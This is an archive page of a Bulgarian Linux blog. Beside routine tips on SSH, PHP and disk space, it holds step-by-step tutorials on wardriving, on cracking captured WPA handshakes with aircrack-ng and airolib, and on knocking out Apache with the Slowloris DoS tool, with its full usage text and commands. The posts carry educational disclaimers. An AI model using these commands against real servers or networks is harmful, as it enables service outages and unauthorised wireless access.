Архив

Статии по ключова дума: ‘Трябва’

Какво е Wardriving и как да го направим (Kismet + Festival + Gpsd + Gpsdrive)

4 февруари, 2010 1 коментар

При Wardriving идеята е да се засекат wireless мрежи и да бъдат картографирани. Според нашият закон или това което четох това не е нелегално(освен ако не се използват тези мрежи с лоши намерения). Все пак аз съм го направил с цел познание и идеята на тази публикация е да споделя знание.

Преди да започнем ще опиша какво ще ни трябва:
Устройства(Gps Reciever с bluetooth, bluetooth на самия лаптоп),
Приложения (gpsdrive,gpsd,bluez-utils,festival,mysql-server,kismet)

След като имаме устройствата ще инсталираме приложенията. Аз лично ползвам Holux 240 slim, но е доста бъгав. От време на време сам решава да се бъгне и да не показа кординатите, а двойчни глупости. За да го върнем в NMEA режим трябва да му извадим батерията с което се връща на първоначални настройки(голямо решение няма що. Има и друго ползвайте друг gps reciever).

Инсталиране на приложенията:
apt-get install gpsdrive gpsd festival mysql-server-5.0 kismet bluez-utils

Сега влючваме нашият GPS Reciever
Изпълняваме "hcitool scan" и виждаме:

Scanning …
00:0B:0D:6D:A1:E8   HOLUX GPSlim240

Ето го и търсеният от нас MAC адрес на Holux Slim 240

Редактираме конф. файлове от bluez-utils в /etc/bluetooth

/etc/bluetooth/hcid.conf

Променяме нашият пин ето тук(в случая е 0000):
passkey "0000"

Сега редактираме /etc/bluetooth/rfcomm.conf

rfcomm0 {
bind no;  # Automatically bind the device at startup
device 00:0B:0D:6D:A1:E8; # Bluetooth address of the device
channel 1; # RFCOMM channel for the connection
comment "My GPS device 00:0B:0D:6D:A1:E8"; # Description of the connection
}

Става ясно, че описваме mac адреса на нашият gps reciever

След това вдигаме нашият интерфейс:
hciconfig hci0 up

Свързваме се към нашето устройство Holux:
hcitool cc 00:0B:0D:6D:A1:E8

Отваряме канал
sdptool add --channel=1 OPUSH

и след това биндваме rfcomm0
rfcomm bind rfcomm0 00:0B:0D:6D:A1:E8

За да проверим, че получаваме данните коректно(данните са в текстов вид NMEA) изпълняваме това:
cat /dev/rfcomm0

Ако се вижда нещо от рода:
$GPGGA,235955.065,0000.0000,N,00000.0000,E,0,00,,0.0,M,0.0,M,,0000*4D
$GPRMC,235955.065,V,0000.0000,N,00000.0000,E,,,150406,,,N*7E
$GPVTG,,T,,M,,N,,K,N*2C
$GPGGA,235956.059,0000.0000,N,00000.0000,E,0,00,,0.0,M,0.0,M,,0000*41
$GPRMC,235956.059,V,0000.0000,N,00000.0000,E,,,150406,,,N*72
$GPVTG,,T,,M,,N,,K,N*2C
$GPGGA,235957.059,0000.0000,N,00000.0000,E,0,00,,0.0,M,0.0,M,,0000*40
$GPGSA,A,1,,,,,,,,,,,,,,,*1E

То нашият GPS Reciever още не си е намерил сателитите и трябва да го изчакате известно време(на открито). След като си ги намери тези нули се превръщат в кординати разбира се.

Сега ще стартираме и gpsd които да обработва данните от rfcomm0

gpsd /dev/rfcomm0

Можем да проверим дали правилно приема данните със следната команда:

gpspipe -r

След като пуснахме основните приложения сега ще пуснем и Kismet. Неговата задача е да следи wireless мрежите и да ги записва във файл с техните кординати.

За да стартираме kismet като сървър трябва да укажем source type, а ако не го направим ще ни излезе следната грешка:

FATAL: Please configure at least one packet source.  Kismet will not function if no packet sources are defined in kismet.conf or on the command line.  Please read the README for more information about configuring Kismet

Това е защото не е зададен capture source type. За целта редактираме /etc/kismet/kismet.conf , ред "source":

source=iwl3945,wlan0,wlan0

Важен е първия аргумент където указваме какъв модул се зарежда за wireless картата, а в този случай е iwl3945

Сега ще накараме Kismet да логва всички wireless мрежи които намери + техните координати. За целта трябва да редактираме /etc/kismet/kismet.conf

waypoints=true
# GPSDrive waypoint file.  This WILL be truncated.
waypointdata=~/.gpsdrive/way.txt

Следващата стъпка е да накараме Kismet освен да логва и да говори.
Сега ще направим един малък тест на festival

echo "Hi from mpetrov.net -- Festival test"|festival --tts

Ако ви изплюе следната грешка "Linux: can't open /dev/dsp" то тогава извършете това по- долу:

Решение на проблема по- горе:

Редактира се файл (.festivalrc) или (/usr/share/festival/festival.scm):
vim ~/.festivalrc
и се добавя това:
(Parameter.set 'Audio_Method 'Audio_Command)
(Parameter.set 'Audio_Command "aplay -q -c 1 -t raw -f s16 -r $SR $FILE")

Сега след като имаме инсталиран и работещ festival ще направим промени в конфигурационния файл на kismet.
kismet.conf(за сървъра)

#Променя се от false на true
Speech=true
#Променя се от nato на speech
speech_type=speech

Ако не искаме да говори kismet сървъра, а нашият kismet клиент правим същите промени, но за "kismet_ui.conf"

Сега ще стартираме и gpsdrive. Неговата цел е да взима данните от Kismet ~/.gpsdrive/way.txt , да ги записва в MySQL базата(която ще създадем след малко) и да визуализира текущото ни местоположение на картата.

Първо трябва да създадем нашата база с таблиците които ще ползва gpsdrive изпълняваме:
geoinfo --create-db geoinfo --db-name geoinfo --db-user gast --db-password gast

Стартираме gpsdrive и какво ? Данните се записват и всичко е страхотно :)

Но на мен лично тази карта не ми допада особено и искам всичко това да го преместя в/у картата на GoogleEarth. За целта използвах едно готово python скриптче, което не работеше (нямаше и автор) и трябваше да пренапиша. Може да бъде изтеглено от тук: gpsdriveToGoogleEarth_mpetrov_net.py

изпълняваме python скриптчето което трябва да конвертира от gpsdrive към GoogleEarth:

python gpsdriveToGoogleEarth_mpetrov_net.py

Получавам следната грешка"
#:/tmp# python gpsdriveToGoogleEarth_mpetrov_net.py
Traceback (most recent call last):
File "gpsdriveToGoogleEarth_mpetrov_net.py", line 1, in <module>
import MySQLdb
ImportError: No module named MySQLdb

Това е защото очевидно нямам mysql модул за python. Сега ще го инсталирам:

apt-get install python-mysqldb

Сега като го изпълним и ще се генерира файл wireless_mpetrov_net.kml които ще вкараме в Google Earth, чрез импорт. Виждаме мрежите които сме картографирали по- рано.

В интерес на истината написах едно простичко bash скриптче което прави някои неща автоматизирано. То може да бъде изтеглено от тук:  War Driver 1.0

Потенциален проблем които може да възникне при употребата на Kismet
Проблем при стартиране на Kismet:

ERROR:  Unable to find room for logging files within 100 counts.  If you really are
logging this many times in 1 day, change log title or edit the source.
WARNING: Error disabling monitor mode: Failed to set channel 0 22:Invalid argument
WARNING: wlan0 (wlan0) left in an unknown state.  You may need to manually
restart or reconfigure it for normal operation.
WARNING: Sometimes cards don't always come out of monitor mode
cleanly.  If your card is not fully working, you may need to
restart or reconfigure it for normal operation.
Trying to wake networkmanager back up…
Kismet exiting.

Решението е :
rm -fr /var/log/kismet/*

Идеята на тази публикация е с учебна цел. Аз като автор не нося никаква отговорност за причинени от нея щети.

PS: Моля слагайте си WPA2 пароли с максимална дължина и сложност поне като минимално нещо което трябва да направите за свойте wireless мрежи.

Аудит на wpa парола, чрез aircrack и sqlite

4 февруари, 2010 2 коментари

Преди да компилираме aircrack с поддържка на sqlite трябва да го инсталираме както и неговия

development пакет:

apt-get install libsqlite3-dev sqlite3

Сега ще изтеглим aircrack и ще го компилираме със sqlite3 поддръжка:

cd /root/
mkdir testing;
cd testing;
mkdir aircrack_compile
cd aircrack_compile;

wget http://download.aircrack-ng.org/aircrack-ng-1.0.tar.gz
tar zxvf aircrack-ng-1.0.tar.gz
cd aircrack-ng-1.0

make sqlite=true unstable=true
make sqlite=true unstable=true install

Необходимо е да изпълним следната команда за да се изтегли OUI файла:

airodump-ng-oui-update

Излиза следното съобщение:

[*] Downloading IEEE OUI file…
[*] Parsing OUI file…
[*] Airodump-ng OUI file successfully updated

cd ..

Сега ще тестваме компилираният от нас aircrack като използваме wordlist без Sqlite:
Преди това може да видим каква е машината и забелязваме, че е двупроцесорна като всеки процесор е

3Ghz със 2 GB памет.

Сега ще тестваме с wordlist от 75000 ключа:

aircrack-ng -w /root/testing/wordlist.txt /root/testing/wireless_packets/wpa-01.cap

Забелязваме, че средно тества между 500-600 ключа за секунда

Което означава, че за да се тестват всичките ключове ще са необходими 75000/500=150 секунди=2.5 мин.

След като имам готов wordlist трябва да направя и ssidlist.txt където да опиша ssid-а на които ще

правим аудит:

vim ssidlist.txt

Сега ще подготвим нашата sqlite база за да тестваме aircrack със sqlite поддръжка.

След като вече компилирахме aircrack е необходимо да импортнем ssid-овете и списъка с пароли които

ще тестваме в sqlite базата mpetrov:

airolib-ng mpetrov1 --import essid /root/testing/ssidlist.txt
airolib-ng mpetrov1 --import passwd /root/testing/wordlist.txt
airolib-ng mpetrov1 --stats
airolib-ng mpetrov1 --clean all
airolib-ng mpetrov1 --batch (Изпълнението отнема доста време)
airolib-ng mpetrov1 --verify all

След като подготвихме базата ще направим тест на aircrack със sqlite

aircrack-ng –r mpetrov1 /root/testing/wireless_packets/wpa-01.cap

Опа. Забелязваме, че aircrack в комбинация със sqlite тества по 40 000 ключа за секунда или времето

което е необходимо за превъртането на този wordlist е по- малко от 2 секунди.

Разликата между нормален aircrack (2.5 мин.) и aircrack със sqlite поддържка (< 2 сек.) е повече от

ясна :)

Възможна грешка при компилирането на aircrack:

Грешка 1:
gcc -g -W -Wall -Werror -O3 -D_FILE_OFFSET_BITS=64 -D_REVISION=0  -I/usr/local/include -DHAVE_SQLITE

-Iinclude   -c -o aircrack-ng.o aircrack-ng.c
aircrack-ng.c:74:21: error: sqlite3.h: мЪЛЮ РЮЙЗБ ТЮИК ХКХ ДХПЕЙРНПХЪ
aircrack-ng.c:75: error: expected '=', ',', ';', 'asm' or '__attribute__' before '*' token
cc1: warnings being treated as errors
aircrack-ng.c: In function 'main':
aircrack-ng.c:4900: error: implicit declaration of function 'sqlite3_open'
aircrack-ng.c:4900: error: 'db' undeclared (first use in this function)
aircrack-ng.c:4900: error: (Each undeclared identifier is reported only once
aircrack-ng.c:4900: error: for each function it appears in.)
aircrack-ng.c:4901: error: implicit declaration of function 'sqlite3_errmsg'
aircrack-ng.c:4901: error: format '%s' expects type 'char *', but argument 3 has type 'int'
aircrack-ng.c:4902: error: implicit declaration of function 'sqlite3_close'
aircrack-ng.c:5561: error: implicit declaration of function 'sqlite3_mprintf'
aircrack-ng.c:5561: error: assignment makes pointer from integer without a cast
aircrack-ng.c:5563: error: implicit declaration of function 'sqlite3_exec'
aircrack-ng.c:5564: error: 'SQLITE_LOCKED' undeclared (first use in this function)
aircrack-ng.c:5564: error: 'SQLITE_BUSY' undeclared (first use in this function)
aircrack-ng.c:5570: error: 'SQLITE_OK' undeclared (first use in this function)
aircrack-ng.c:5570: error: 'SQLITE_ABORT' undeclared (first use in this function)
aircrack-ng.c:5572: error: implicit declaration of function 'sqlite3_free'
make[1]: *** [aircrack-ng.o] Error 1
make[1]: Leaving directory `/tmp/aircrack-ng-1.0/src'
make: *** [all] Error 2

Решение:
apt-get install libsqlite3-dev

Грешка 2:
In file included from aircrack-ng.c:65:
crypto.h:12:26: error: openssl/hmac.h: Няма такъв файл или директория
crypto.h:13:25: error: openssl/sha.h: Няма такъв файл или директория
crypto.h:15:25: error: openssl/rc4.h: Няма такъв файл или директория
crypto.h:16:25: error: openssl/aes.h: Няма такъв файл или директория
cc1: warnings being treated as errors
In file included from aircrack-ng.c:69:
sha1-sse2.h: In function ‘calc_4pmk’:
sha1-sse2.h:140: error: implicit declaration of function ‘HMAC’
sha1-sse2.h:140: error: implicit declaration of function ‘EVP_sha1’
aircrack-ng.c: In function ‘crack_wpa_thread’:
aircrack-ng.c:3910: error: implicit declaration of function ‘EVP_md5’
make[1]: *** [aircrack-ng.o] Error 1
make[1]: Leaving directory `/root/testing/aircrack_compile/aircrack-ng-1.0/src'
make: *** [all] Error 2

Решение: apt-get install libssl-dev

Според нашия Наказателен Кодекс манипулирането на wireless мрежи е незаконно:

Чл. 212а. (Нов -- ДВ, бр. 92 от 2002 г.) (1) (Изм. -- ДВ, бр. 38 от 2007 г.) Който с цел да набави за себе си или за другиго облага възбуди или поддържа заблуждение у някого, като внесе, измени, изтрие или заличи компютърни данни или използва чужд електронен подпис и с това причини на него или на другиго вреда, се наказва за компютърна измама с лишаване от свобода от една до шест години и глоба до шест хиляди лева.
(2) (Изм. -- ДВ, бр. 38 от 2007 г.) Същото наказание се налага и на този, който, без да има право, внесе, измени, изтрие или заличи компютърни данни, за да получи нещо, което не му се следва.

Вместо да правите такива гимнастики проосто си платете интернета и ще го имате винаги.

Да разчистим малко място в нашата *nix машина

3 февруари, 2010 Няма коментари

На всеки се е случвало да няма място на неговата GNU/Linux машина. За да премахнем това което трябва можем да започнем от основните директории, но има и друг вариант които не е за отказване, а именно да намерим всички големи файлове. За да ги намерим ще използваме find или:

find / -type f -size +20000k -exec ls -lh {} \; | awk '{ print $9 ": " $5 }'

След това можем по- лесно да преценим кое да изтрием и кое не. Ако след това мястото отново не стига тогава вече можем да преглеждаме другите директории

Как да счупим Apache със Slowloris

1 февруари, 2010 Няма коментари

За целта ще използваме httpd DoS тулка популярна от средата на 2009 година, написана от RSnake от ha.ckers или т.н. Slowloris

Как Slowloris претоварва Apache ?

Slowloris прави много конекции и ги задържа отворени като изпраща части от HTTP заявки. Slowloris продължава да изпраща хедъри на интервали за да предпази сокетите от затваряне.

Преди да счупим Apache ще изтеглим Slowloris от http://ha.ckers.org/slowloris/ или по- точно от тук:

wget http://ha.ckers.org/slowloris/slowloris.pl

След това трябва да инсталираме необходими модули за Perl:

perl -MCPAN -e 'install IO::Socket::INET'
perl -MCPAN -e 'install IO::Socket::SSL'

или по- друг метод:

apt-get install libio-all-perl libio-socket-ssl-perl

След като инсталирахме модулите за perl трябва да инсталираме и perl-doc за да можем да разгледаме help страницата на Slowloris:

apt-get install perl-doc

Сега вече можем да стартираме Slowloris:

perl slowloris.pl

Извежда ни се първоначална инфо:

Welcome to Slowloris -- the low bandwidth, yet greedy and poisonous HTTP client

Usage:

perl slowloris.pl -dns [www.example.com] -options

Type 'perldoc slowloris.pl' for help with options.

Ето я и помощната страница:

perldoc slowloris.pl

TITLE
Slowloris

VERSION
Version 0.7 Beta

DATE
06/17/2009

AUTHOR
RSnake <h@ckers.org> with threading from John Kinsella

ABSTRACT
Slowloris both helps identify the timeout windows of a HTTP server or Proxy server, can bypass httpready protection and ulti‐
mately performs a fairly low bandwidth denial of service.  It has the added benefit of allowing the server to come back at any
time (once the program is killed), and not spamming the logs excessively.  It also keeps the load nice and low on the target
server, so other vital processes don’t die unexpectedly, or cause alarm to anyone who is logged into the server for other rea‐
sons.

AFFECTS
Apache 1.x, Apache 2.x, dhttpd, GoAhead WebServer, others…?

NOT AFFECTED
IIS6.0, IIS7.0, lighttpd, nginx, Cherokee, Squid, others…?

DESCRIPTION
Slowloris is designed so that a single machine (probably a Linux/UNIX machine since Windows appears to limit how many sockets you
can have open at any given time) can easily tie up a typical web server or proxy server by locking up all of it’s threads as they
patiently wait for more data.  Some servers may have a smaller tolerance for timeouts than others, but Slowloris can compensate
for that by customizing the timeouts.  There is an added function to help you get started with finding the right sized timeouts
as well.

As a side note, Slowloris does not consume a lot of resources so modern operating systems don’t have a need to start shutting
down sockets when they come under attack, which actually in turn makes Slowloris better than a typical flooder in certain circum‐
stances.  Think of Slowloris as the HTTP equivalent of a SYN flood.

Testing

If the timeouts are completely unknown, Slowloris comes with a mode to help you get started in your testing:

Testing Example:

./slowloris.pl -dns www.example.com -port 80 -test

This won’t give you a perfect number, but it should give you a pretty good guess as to where to shoot for.  If you really must
know the exact number, you may want to mess with the @times array (although I wouldn’t suggest that unless you know what you’re
doing).

HTTP DoS

Once you find a timeout window, you can tune Slowloris to use certain timeout windows.  For instance, if you know that the server
has a timeout of 3000 seconds, but the the connection is fairly latent you may want to make the timeout window 2000 seconds and
increase the TCP timeout to 5 seconds.  The following example uses 500 sockets.  Most average Apache servers, for instance, tend
to fall down between 400-600 sockets with a default configuration.  Some are less than 300.  The smaller the timeout the faster
you will consume all the available resources as other sockets that are in use become available -- this would be solved by thread‐
ing, but that’s for a future revision.  The closer you can get to the exact number of sockets, the better, because that will
reduce the amount of tries (and associated bandwidth) that Slowloris will make to be successful.  Slowloris has no way to iden‐
tify if it’s successful or not though.

HTTP DoS Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5

HTTPReady Bypass

HTTPReady only follows certain rules so with a switch Slowloris can bypass HTTPReady by sending the attack as a POST verses a GET
or HEAD request with the -httpready switch.

HTTPReady Bypass Example

./slowloris.pl -dns www.example.com -port 80 -timeout 2000 -num 500 -tcpto 5 -httpready

Stealth Host DoS

If you know the server has multiple webservers running on it in virtual hosts, you can send the attack to a seperate virtual host
using the -shost variable.  This way the logs that are created will go to a different virtual host log file, but only if they are
kept separately.

Stealth Host DoS Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -tcpto 1 -shost www.virtualhost.com

HTTPS DoS

Slowloris does support SSL/TLS on an experimental basis with the -https switch.  The usefulness of this particular option has not
been thoroughly tested, and in fact has not proved to be particularly effective in the very few tests I performed during the
early phases of development.  Your mileage may vary.

HTTPS DoS Example:

./slowloris.pl -dns www.example.com -port 443 -timeout 30 -num 500 -https

HTTP Cache

Slowloris does support cache avoidance on an experimental basis with the -cache switch.  Some caching servers may look at the
request path part of the header, but by sending different requests each time you can abuse more resources.  The usefulness of
this particular option has not been thoroughly tested.  Your mileage may vary.

HTTP Cache Example:

./slowloris.pl -dns www.example.com -port 80 -timeout 30 -num 500 -cache
Issues
Slowloris is known to not work on several servers found in the NOT AFFECTED section above and through Netscalar devices, in it’s
current incarnation.  They may be ways around this, but not in this version at this time.  Most likely most anti-DDoS and load
balancers won’t be thwarted by Slowloris, unless Slowloris is extremely distrubted, although only Netscalar has been tested.

Slowloris isn’t completely quiet either, because it can’t be.  Firstly, it does send out quite a few packets (although far far
less than a typical GET request flooder).  So it’s not invisible if the traffic to the site is typically fairly low.  On higher
traffic sites it will unlikely that it is noticed in the log files -- although you may have trouble taking down a larger site with
just one machine, depending on their architecture.

For some reason Slowloris works way better if run from a *Nix box than from Windows.  I would guess that it’s probably to do with
the fact that Windows limits the amount of open sockets you can have at once to a fairly small number.  If you find that you
can’t open any more ports than ~130 or so on any server you test -- you’re probably running into this "feature" of modern operat‐
ing systems.  Either way, this program seems to work best if run from FreeBSD.

Once you stop the DoS all the sockets will naturally close with a flurry of RST and FIN packets, at which time the web server or
proxy server will write to it’s logs with a lot of 400 (Bad Request) errors.  So while the sockets remain open, you won’t be in
the logs, but once the sockets close you’ll have quite a few entries all lined up next to one another.  You will probably be easy
to find if anyone is looking at their logs at that point -- although the DoS will be over by that point too.

What is a slow loris?
What exactly is a slow loris?  It’s an extremely cute but endangered mammal that happens to also be poisonous.  Check this out:

http://www.youtube.com/watch?v=rLdQ3UhLoD4

След като сме запознати с помощната страница ще направим един прост пример за чупене на Apache със Slowloris:

perl slowloris.pl -dns example.com -port 80 -timeout 1 -num 200 -cache

След известно време забелязваме, че Apache не отговаря- Той е счупен :)

Жертвата не вижда превишаване на ползваемостта на CPU от apache, не вижда и нищо в access лога, но ако пусне един tcpdump ще разбере за какво иде реч(tcpdump -i eth0 -vvvn dst port 80)

В следващата публикация  ще обясня как да се защитим от Slowloris- Как да защитим Apache от счупване причинено от Slowloris

Аудит на wpa парола, чрез aircrack и sqlite(80 000 пъти по- бързо)

25 януари, 2010 15 коментари

Понеже доста съм писал по- долу ще обясня с едно изречение каква е идеята. Ако се ползва aircrack за нормален аудит (в моята машина дву процесорна на 2×3Ghz) ще тества по 500 ключа в секунда, а по- този метод по- долу aircrack + sqlite ще тества по 40 000 ключа в секунда.

Преди да компилираме aircrack с поддържка на sqlite трябва да го инсталираме както и неговия  development пакет:

apt-get install libsqlite3-dev sqlite3

Сега ще изтеглим aircrack и ще го компилираме със sqlite3 поддръжка:

cd /root/
mkdir testing;
cd testing;
mkdir aircrack_compile
cd aircrack_compile;

wget http://download.aircrack-ng.org/aircrack-ng-1.0.tar.gz
tar zxvf aircrack-ng-1.0.tar.gz
cd aircrack-ng-1.0

make sqlite=true unstable=true
make sqlite=true unstable=true install

Необходимо е да изпълним следната команда за да се изтегли OUI файла:

airodump-ng-oui-update

Излиза следното съобщение:

[*] Downloading IEEE OUI file…
[*] Parsing OUI file…
[*] Airodump-ng OUI file successfully updated

Сега ще тестваме компилираният от нас aircrack като използваме wordlist без Sqlite:

Преди това може да видим каква е машината и забелязваме, че е двупроцесорна като всеки процесор е 3Ghz със 2 GB памет.

Сега ще тестваме с wordlist от 75000 ключа:

aircrack-ng -w /root/testing/wordlist.txt /root/testing/wireless_packets/wpa-01.cap


Забелязваме, че средно тества между 500-600 ключа за секунда

Което означава, че за да се тестват всичките ключове ще са необходими 75000/500=150 секунди=2.5 мин.

След като имам готов wordlist трябва да направя и ssidlist.txt където да опиша ssid-а на които ще правим аудит:

vim ssidlist.txt

Сега ще подготвим нашата sqlite база за да тестваме aircrack със sqlite поддръжка.

След като вече компилирахме aircrack е необходимо да импортнем ssid-овете и списъка с пароли които ще тестваме в sqlite базата mpetrov:

airolib-ng mpetrov1 --import essid /root/testing/ssidlist.txt
airolib-ng mpetrov1 --import passwd /root/testing/wordlist.txt
airolib-ng mpetrov1 --stats
airolib-ng mpetrov1 --clean all
airolib-ng mpetrov1 --batch (Бъдете търпеливи :) )
airolib-ng mpetrov1 --verify all

След като подготвихме базата ще направим тест на aircrack със sqlite

aircrack-ng –r mpetrov1 /root/testing/wireless_packets/wpa-01.cap

Опа. Забелязваме, че aircrack в комбинация със sqlite тества по 40 000 ключа за секунда или времето което е необходимо за превъртането на този wordlist е по- малко от 2 секунди.

Разликата между нормален aircrack (2.5 мин.) и aircrack със sqlite поддържка (< 2 сек.) е повече от ясна :)

Идеята на тази публикация е да направите аудит НА СОБСТВЕНАТА СИ WIRELESS МРЕЖА, А НЕ ДА ЗЛОУПОТРЕБЯВАТЕ!

Автоматично SSH логване с PuTTY

22 януари, 2010 Няма коментари

Здравейте казвам се Мартин Петров и съм създал тази демонстрация единствено и само с учебна цел.

В тази видео демонстрация ще обясня как да генерирате и използвате частните и публични двойки ключоче за да се логвате през SSH с PuTTY. PuTTY е SSH клиент които работи на Windows и Linux, но най- често е употребяван за Windows. Идеята на ключово базираните SSH логини е да не се налага да въвеждате всеки път потребителско име и парола, а автоматично да влизате в отдалечената система в която имате достъп .

Хайде да започнем демонстрацията.

1. Преди всичко трябва да имаме SSH достъп до отдалечена GNU/Linux машина в случая при нас това е машина с IP адрес 10.10.10.1, а ние имаме достъп

2. След това трябва да изтеглим необходимите приложения за Windows, които в случая съм изтеглил

2.1 PuTTY (http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe)
2.2 PuTTY Gen (http://the.earth.li/~sgtatham/putty/latest/x86/puttygen.exe)
2.3 PageAgent (http://the.earth.li/~sgtatham/putty/latest/x86/pageant.exe)

След като вече ги имаме сега ще генерираме публичен и частен ключ за съответния логин в машина 10.10.10.1 като използваме приложението puttygen
Стартираме го и поглеждаме в менюто "Keys" за да сме сигурни, че са избрани SSH-2 RSA key

След това натискаме "Generate" за да  генерираме нашият ключ и въвеждаме наша парола на ключовете. За да го генерираме се изисква да местим по- бързо мишката понеже движението се използва за генерирането на ключа.

След като публичния ключ е генериран ще го копираме на отдалечената машина 10.10.10.1.
Трябва да копираме текста от секция "Public key for pasting into OpenSSH authorized_keys file:" и да се логнем в машината. Сега трябва да създадем директория(ако не съществува) .ssh и да поставим предварително копирания текст във файл authorized_keys

След това генерираме личен ключ от PuTTY Key Generator като натиснем бутона "Save Private key" и за тваряме приложението.

Сега отваряме приложението pageant (Search PuTTY SSH authentication Agent) и зареждаме нашият личен ключ като идеята на това приложение е да не се налага запомнянето на ключовите фрази.

След като подготвихме всичко това сега остава да си направим един PuTTY профил.
В Host Name (or IP Address) въвеждеме адреса на машината в която имаме достъп 10.10.10.1, а на порт оставяме подразбиращият се 22. Избираме си и име на сесията или профила "Saved Sessions" autop

В секция "Connection" -> "Data", поле "Auto-login username" трябва да въведем нашето потребителско име, което  в случае е: autop .
Сега трябва да заредим нашият личен ключ в секция "SSH"->"Auth" в "Private key file for authentication"

След всичко това остава да запазим настройките на своя профил като натискаме бутона "Save"

Тук виждаме, че можем да се логваме в машината 10.10.10.1 без да се изисква въвеждането на потребителско име и парола.

Може да гледате видео демонстрацията от Youtube: Автоматично SSH логване с PuTTY
Демонстрация във vbox7: Автоматично SSH логване с PuTTY

Логване в SSH сървър, чрез PuTTY

22 януари, 2010 Няма коментари

Здравейте отново от мен Мартин Петров. Тази видео демонстрация е създадена единствено и само с учебна цел.

Този тази видео демонстрация е част от публикацията "За какво да ползваме PuTTY"  в блога www.mpetrov.net

PuTTY е SSH клиент които се ползва най- много от Windows потребителите. Това видео всъщност е именно за тях. Сега ще демонстрирам как чрез PuTTY може да се логнете в отдалечена машина с пуснат SSH сървър в нашият случай GNU/Linux Debian с пуснат OpenSSH сървър.

Преди всичко трябва да изтеглим PuTTY. Просто пишем в google "PuTTY" и първият резултат ни дава линк от където да го изтег7лим. Аз съм го изтеглил предварително и за целта продължаваме напред към демонстрацията.

Стартираме Putty и в секция "Host name" въвеждаме хостнейм или IP адрес на машината в която искаме да се логнем. В нашият случай е IP адрес 10.10.10.1 . Портът които е сетнат в машината е 22( двадесет и втори) затова оставям този порт. В секция "Saved Sections" записваме името на профила и след това натискаме "Save". Така следващият път вместо да правим тези настройки просто два пъти ще натистнем с мишката върху този името на профила които преди малко написахме.

Може да гледате видео демонстрацията от Youtube: Логване в SSH сървър, чрез PuTTY
Демонстрация във vbox7: Логване в SSH сървър, чрез PuTTY

Плъгин Auto edno23 за Wordpress

4 януари, 2010 Няма коментари

Днес направих плъгин за Wordpress които автоматично добавя вашата публикация във www.edno23.com . Идеята е с едно публикуване в Wordpress да публикувате и в edno23 .

Плъгинът "Auto edno23" има страница за настройка където трябва да въведете вашето edno23 потребителско име и парола. От там можете да изберете с тик дали автоматично да се публикува публикацията в edno23 или само когато отметнете тикчето при самото добавяне от Wordpress. Добавил съм и възможност да прави кратки връзки от рода "http://is.gd/5LREc"

Плъгинът може да бъде изтеглен от тук: Плъгин Auto edno23

От тук може да изтеглите директно сорса на плъгина-> Сорс на плъгин

PS: Използвал съм за основа auto tweeter които доста моднах :)

Нов ред (на Windows) в PHP

30 декември, 2009 Няма коментари

За да се направи нов ред в php(при echo примерно) като на Windows трябва да се използва не само "\n" за нов ред, а комбинацията от "\r\n" т.е.

Пример за нов ред в php като на Windows:

echo "Martin\r\nPetrov\r\n";

Архивиране и изтриване на файл с тире в GNU/Linux

28 декември, 2009 Няма коментари

На всеки би трябвало да му се е случвало да трябва да изтирва под GNU/Linux файлове започващи със "--".  Не можете обаче просто да си го мачнете и изтриете по нормалния начин "rm -fr --biba"

Решение: rm -fr ./--biba

Предполагам някои е искал да архивира със zip някой файл започващ със тире(-) и да не е успявал. т.е.

zip -r -example.zip -example.doc;

Извежда следната грешка: zip error: Invalid command arguments (no such option: -)

Решението е(като при изтриването):

zip -r ./-example.zip ./-example.doc;

PS: Всеки нормално занимаваш се с GNU/Linux трябва да се е сблъсквал с това и да го знае още в първия месец, но за тези които не знаят или не са се сблъсквали с този проблем този пост е именно за тях.